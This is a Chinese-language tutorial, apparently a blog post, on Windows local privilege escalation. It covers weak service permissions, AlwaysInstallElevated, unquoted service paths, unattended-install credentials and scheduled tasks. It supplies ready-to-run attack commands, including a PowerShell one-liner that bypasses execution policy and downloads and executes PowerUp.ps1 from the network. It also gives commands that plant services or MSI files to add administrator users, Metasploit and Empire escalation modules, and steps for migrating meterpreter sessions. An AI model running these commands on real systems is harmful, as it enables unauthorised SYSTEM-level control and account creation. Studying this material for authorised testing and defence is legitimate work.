'利用配置错误提权'

系统服务权限配置错误(目录可写)

漏洞原因:Windows操作系统中常见配置错误:如管理员凭证配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
两种情况
1、服务未运行:攻击者会利用任意服务替换原来的服务,然后重启服务。
2、服务正在运行且无法被终止:这类情况符合大多数漏洞利用场景,通常利用DLL劫持技术并尝试重启服务来提权。

1、PowerUp下的实战利用

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
powerup提供了一些本地提权的方法,可通过很多实用脚本来查找目标机中的windows服务漏洞。

可执行以下两条命令来运行该脚本
1、powershell.exe -exec bypass -Command “& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}”
2、powershell -nop -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1’); Invoke-AllChecks”

检测出漏洞后会在下面列出,如OmniServers服务漏洞(只是个示例,懒得搭环境了)

AbuseFunction给出操作方式,利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个C#服务来添加用户
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’); Install-ServiceBinary -ServiceName ‘OmniServers’ -UserName shuteer -Password Password123!

2、Metasploit下的实战利用

use exploit/windows/local/service_permissions
options
设置完成后run
即可返回一个新的meterpreter
(我这里没检测到洞,正常情况getuid显示NT AUTHORITY\SYSTEM)

模块讲解:
利用两种方式获得system权限
1、如果meterpreter以管理员权限运行,该模块会创建并运行一个新的服务;
2、如果当前权限不允许创建服务,该模块会判断哪些服务的文件或文件夹的权限有问题,并允许对其进行劫持。
在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。

注册表键AlwaysInstallElevated

漏洞原因:
gpedit.msc组策略、计算机配置(还有用户配置)、管理模板、windows组件、windows installer、永远以高特权进行安装

设置完成后,会在注册表HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE(就后面路径相同,见图)生成个数值AlwaysInstallElevated,数据为1的二进制值

powershell -nop -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’)”;Get-RegistryAlwaysInstallElevated

利用write模块生成MSI文件
powershell -nop -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’)”;Write-UserAddMSI
执行MSI文件添加用户
msiexec /q /i UserAdd.msi
PS:此操作会弹窗


/q 安静模式,无用户交互
/i 安装程序
了解更多命令信息msiexec -h

也可使用msf的exploit/windows/local/always_install_elevated模块进行提权

可信任服务路径漏洞

漏洞原因:服务调用可执行文件时没有正确的处理所引用的完整路径名(即服务调用的可执行文件的路径没有被双引号引起来且包含空格),这个漏洞就可被攻击者用来上传任意可执行文件。
两种情况
1、如果路径与服务有关,就任意创建一个服务或者便宜service模板
2、如果路径与可执行文件有关,就任意创建一个可执行文件

Trusted Service Paths 漏洞成因

win服务一般以system权限运行,系统解析时,会对文件路径中的空格进行搜索
如C:\Program Files\Some Folder\Service.exe服务运行时,都会寻找并执行空格前面的名字相匹配的程序,如下所示
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

使用msf进行利用

1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """


可以看到,有"Vulnerable Service"、“OmniServ”、“OmniServer”、“OmniServers"四个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限
使用windows内置工具icacls来检查"C:\Program Files”、“C:\Program Files\Common Files”、"C:\Program Files\Common Files\microsoftshared"等目录的权限

Everyone用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
M表示修改
F代表完全控制
CI代表从属容器将继承访问控制项
OI代表从属文件将继承访问控制项

利用:把上传的程序重命名并放置在存在此漏洞且可写的目录下,重启服务
sc stop service_name
sc start service_name
或使用msf的trusted_service_path模块
不过反弹的新meterpreter会很快消失,使用命令自动进行迁移
set AutoRunScript migrate -f
或set autorunscript migrate -n explorer.exe

参考文章
https://xz.aliyun.com/t/7261
https://www.freebuf.com/articles/system/131388.html

自动安装配置文件

管理员可能使用脚本批量化部署文件,文件里可能包含本地管理账号密码信息
可直接使用msf的post/windows/gather/enum_unattend模块

计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序
工具:accesschk,微软官方提供的工具,所以不会触发杀毒软件
https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
执行如下命令,查看目录的权限配置情况
accesschk.exe -dqv “C:\Windows” -accepteula

常用命令:
第一次运行时会弹出许可协议对话框,使用以下命令自动接受
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹或文件

1
2
3
4
accesschk.exe -uwdqsUsers C:\
accesschk.exe -uwdqs "Administrator" C:\
accesschk.exe -uwdqsUsers C:\*.*
accesschk.exe -uwdqs "Administrator" C:\*.*

Empire内置模块

usemodule privesc/powerup/allchecks (Empire2.3)
usemodule powershell/privesc/powerup/allchecks (Empire2.5)
execute

Empire使用相关资料
https://www.anquanke.com/post/id/87328
https://www.anquanke.com/post/id/87333#h2-2